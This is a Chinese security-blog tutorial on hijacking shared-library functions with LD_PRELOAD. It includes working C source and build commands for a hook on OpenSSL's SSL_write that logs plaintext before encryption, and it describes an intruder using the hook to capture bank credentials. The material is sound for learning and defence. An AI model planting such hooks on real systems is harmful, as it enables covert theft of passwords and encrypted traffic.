标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2020-2779]   作者: 闲云野鸡 发表于: [2020-11-06]

本文共 [22] 位读者顶过

首先我们得了解一下基础知识

程序库可分三类:静态库,共享库和动态加载库

静态库,是在执行程序运行前就已经加入到执行码中,在物理上成为执行程序的一部分;

共享库,是在执行程序启动时被加载到执行程序中,这样的库可以被多个执行程序共享使用。

动态加载库,其实并不是一种真正的库类型,应该是一种库的使用技术,应用程序可以在运行过程中随时加载和使用库。

总的来说,可执行文件加载库的方式有两种:动态加载,静态写入

第一种库加载方式,是指程序在启动时才会动态调用库函数以及一些功能。

第二种库直接就加载写入到可执行文件源代码,所以这样的可执行文件一般都很大。

[出自:jiwo.org]


加载时间:软件在运行之前,它需要一定的加载时间,用来加载库,和加载到内存。

函数倒挂:是指用于拦截对现有函数的调用并对其进行环绕以在运行时修改函数行为的一系列技术。通俗一点,在函数调用时强行增加一个我们能控制的环节


两种加载方式各有优缺点,今天我们要讲的是动态加载共享库的一些骚操作!


程序加载时的函数劫持


我们先试试简单的劫持

这个简单的test程序,执行叫打印zhe bo hen  hacker!,我们应该怎样才能控制它,打印出我们想要的zhe  bo  hen  nice!勒?编辑libc_puts.c,代码如下:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
int puts(const char *message) {/*这里应与原函数保持一致!*/
  int (*new_puts)(const char *message);/*定义一个指针变量*/
  new_puts = dlsym(RTLD_NEXT, "puts");/*指针变量存储原puts函数的地址*/
  return new_puts("zhe bo hen nice!");/*替换其传入的参数字符串,从而得到我们想要的*/
}



dlsym函数作用是初始化函数指针,传入此函数的第一个参数RTLD_NEXT告诉动态加载程序API,返回第二个参数字符串的一个实例,本例就是puts 原函数。

然后编译成库文件:

gcc libc_puts.c -fPIC -shared -ldl -D_GNU_SOURCE -o libc_puts

参数详解:

 我们通过指定-shared和-fPIC编译标志将libc_puts.c编译为共享库,并使用-ldl标志针对libdl进行链接,指定-D_GNU_SOURCE标志以满足#ifdef条件,该条件允许我们使用RTLD_NEXT枚举,通过枚举我们才能找到原函数puts,当然也可以通过在libc_puts.c文件顶部添加“ #define _GNU_SOURCE”来替换此标志。


这时候我们使用export命令将LD_PRELOAD环境变量指向新创建的libc_puts共享库

export LD_PRELOAD="/home/hacker/test/libc_puts.so"

然后运行test文件,我们将打印的内容给替换了



LD_PRELOAD环境变量用于指定要由加载程序首先加载的共享库,首先加载共享库使我们能够拦截函数调用,并且使用动态加载程序API,我们可以将最初想要的puts函数绑定到函数指针,并通过它传递我们能控制的参数,从而有效地劫持函数调用。

我们已经熟悉了程序加载时的函数劫持技术,接下来,我们将用于实际操作

接下来我们将假设一个实际的应用场景,我们拿到了一个应用程序进行渗透测试,该应用程序使用的是openssl加密敏感数据的传输,嗅探流量包,在没有获得私钥的情况下,我们无法拿到我们想要的敏感信息,这时候我们该怎么办?

为了获得敏感数据,我们将劫持SSL_write函数的调用,该函数负责加密然后通过套接字发送数据。劫持该函数,我们将绕过加密保护,获得原始的要被加密的传输的字符串,首先我们来看看SSL_write函数的定义:

int SSL_write (SSL * ssl,const void * buf,int num );

我们创建libc_ssl_write.c文件,内容如下:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <openssl/ssl.h>
int SSL_write(SSL *context, const void *buffer, int bytes)
{
  int (*new_ssl_write)(SSL *context, const void *buffer, int bytes);
  new_ssl_write = dlsym(RTLD_NEXT, "SSL_write");
  FILE *logfile = fopen("logfile", "a+");
  fprintf(logfile, "Process %d:nn%snnn", getpid(), (char *)buffer);/*这里增加了获得进程号的一项功能,这会数据来路更加清晰!,便于我们查看*/
  fclose(logfile);/*把原始要被加密的字符串写入一个文件logfile*/
  return new_ssl_write(context, buffer, bytes);/*还是返回加密得字符串,确保不破坏程序的正常功能*/
}

SSL_write函数需要三个参数:指向ssl上下文的指针,指向要加密的字符串缓冲区指针,以及要写入的字节数。

然后编译:(注意,如果没有openssl/ssl.h库会报错,apt下载就行了)

gcc libc_ssl_write.c -o libc_ssl_write -fPIC -shared -lssl -D_GNU_SOURCE

用export命令将LD_PRELOAD环境变量指向新创建的libc_ssl_write共享库




这里我用wget工具去下载百度的主页,正常来说请求的数据包会被加密,但是我们直接在加密之前把传入的数据包内容写入了logfile文件里,这样我们就可以获得敏感数据了。

如果一个黑客潜入到一台主机里,然后偷偷替换了共享库,劫持了ssl_write函数,将你所以需要经过ssl加密传输的数据写入一个文件,假如你登入输入你的银行卡账户秘密什么的,黑客根本不需要时刻监视这台主机,只需要定期来查看logfile文件内容就可以了。

当然这是一种利用方式,因为我们创建的共享库将被加载到正在运行的进程的内存空间中,因此我们可以执行诸如转储进程的内存以在运行时检查内存或篡改运行时变量之类的事情,这将变得更加危险。







评论

暂无
发表评论
 返回顶部 
热度(22)
 关注微信